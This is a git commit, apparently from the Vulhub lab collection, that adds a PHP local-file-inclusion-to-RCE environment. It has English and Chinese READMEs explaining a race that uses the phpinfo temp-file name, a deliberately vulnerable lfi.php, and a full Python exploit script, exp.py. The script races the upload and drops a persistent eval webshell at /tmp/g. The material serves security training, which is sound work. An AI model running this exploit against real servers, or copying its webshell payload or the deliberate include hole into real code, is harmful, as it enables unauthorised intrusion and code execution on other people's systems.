first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
php/inclusion/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

BIN
php/inclusion/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

52
php/inclusion/README.md Normal file
View File

@@ -0,0 +1,52 @@
# PHP Local File Inclusion RCE with PHPINFO
[中文版本(Chinese version)](README.zh-cn.md)
In PHP file inclusion vulnerabilities, when we cannot find a valid file to include for triggering RCE, we might be able to include a temporary file to exploit it if there exists PHPINFO which can tell us the randomly generated filename of the temporary file and its location.
Reference:
- https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf
## Vulnerable Environment
To start the vulnerable environment:
```
docker compose up -d
```
The target environment is the latest PHP 7.2, which tell us this vulnerability exists regardless of the version.
After the environment is started, access `http://your-ip:8080/phpinfo.php` to get a PHPINFO page and `http://your-ip:8080/lfi.php?file=/etc/passwd` shows there is an LFI vulnerability.
## Exploit Details
When sending a POST request to PHP and the request contains a FILE block, PHP will save the file posted into a temporary file (usually `/tmp/php[6 random digits]`), the filename can be found at `$_FILES` variable. This temp file will be deleted after the request is over.
In the meantime, PHPINFO page prints all the variables in the context, including `$_FILES`. So, the temp file's name can be found in the response if we send the POST request to the PHPINFO page.
In this way, an LFI vulnerability can be promoted into an RCE without an existed useable local file.
File inclusion and PHPINFO are usually in different web pages. In theory, we need to send the filename to the file inclusion page after retrieving the it in the response of the file uploading request to the PHPINFO page. However, after the first request finishes, the file would be removed from the disk, so we need to win the race.
Steps:
1. Send the file upload request to PHPINFO page with the HEADER and GET fields filled with large chunks of junk data.
2. The response content would be huge because PHPINFO will print out all the data.
3. PHP's default output buffer size is 4096 bytes. It can be understood as PHP return 4096 bytes each time during a socket connection.
4. So we use raw socket to achieve our goal. Each time we read 4096 bytes and send the filename to the LFI page once we get it.
5. By the time we got the filename, the first socket connection has not ended, which means the temp file still exists at that time.
6. By taking advantage of the time gap, the temp file can be included and executed.
## Exploit
The python script [exp.py](exp.py) implements the above process. After successfully include the temp file, `<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>` will be executed to generate a permanent file `/tmp/g` for further use.
use python2`python exp.py your-ip 8080 100`:
![](1.png)
The script success at the 189th packet, after that arbitrary code can be executed:
![](2.png)

View File

@@ -0,0 +1,50 @@
# PHP文件包含漏洞利用phpinfo
PHP文件包含漏洞中如果找不到可以包含的文件我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的如果目标网站上存在phpinfo则可以通过phpinfo来获取临时文件名进而进行包含。
参考链接:
- https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf
## 漏洞环境
执行如下命令启动环境:
```
docker compose up -d
```
目标环境是官方最新版PHP7.2说明该漏洞与PHP版本无关。
环境启动后,访问`http://your-ip:8080/phpinfo.php`即可看到一个PHPINFO页面访问`http://your-ip:8080/lfi.php?file=/etc/passwd`,可见的确存在文件包含漏洞。
## 利用方法简述
在给PHP发送POST数据包时如果数据包里包含文件区块无论你访问的代码中有没有处理文件上传的逻辑PHP都会将这个文件保存成一个临时文件通常是`/tmp/php[6个随机字符]`),文件名可以在`$_FILES`变量中找到。这个临时文件,在请求结束后就会被删除。
同时因为phpinfo页面会将当前请求上下文中所有变量都打印出来所以我们如果向phpinfo页面发送包含文件区块的数据包则即可在返回包里找到`$_FILES`变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面理论上我们需要先发送数据包给phpinfo页面然后从返回页面中匹配出临时文件名再将这个文件名发送给文件包含漏洞页面进行getshell。在第一个请求结束时临时文件就被删除了第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
1. 发送包含了webshell的上传数据包给phpinfo页面这个数据包的header、get等位置需要塞满垃圾数据
2. 因为phpinfo页面会将所有数据都打印出来1中的垃圾数据会将整个phpinfo页面撑得非常大
3. php默认的输出缓冲区大小为4096可以理解为php每次返回4096个字节给socket连接
4. 所以我们直接操作原生socket每次读取4096个字节。只要读取到的字符里包含临时文件名就立即发送第二个数据包
5. 此时第一个数据包的socket连接实际上还没结束因为php还在继续每次输出4096个字节所以临时文件此时还没有删除
6. 利用这个时间差第二个数据包也就是文件包含漏洞的利用即可成功包含临时文件最终getshell
## 漏洞复现
利用脚本[exp.py](exp.py)实现了上述过程,成功包含临时文件后,会执行`<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>`,写入一个新的文件`/tmp/g`,这个文件就会永久留在目标机器上。
用python2执行`python exp.py your-ip 8080 100`
![](1.png)
可见执行到第289个数据包的时候就写入成功。然后利用lfi.php即可执行任意命令
![](2.png)

View File

@@ -0,0 +1,8 @@
version: '2'
services:
php:
image: php:7.2-apache
volumes:
- ./www:/var/www/html
ports:
- "8080:80"

190
php/inclusion/exp.py Normal file
View File

@@ -0,0 +1,190 @@
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()

View File

@@ -0,0 +1,2 @@
<?php
include $_GET['file'];

View File

@@ -0,0 +1,2 @@
<?php
phpinfo();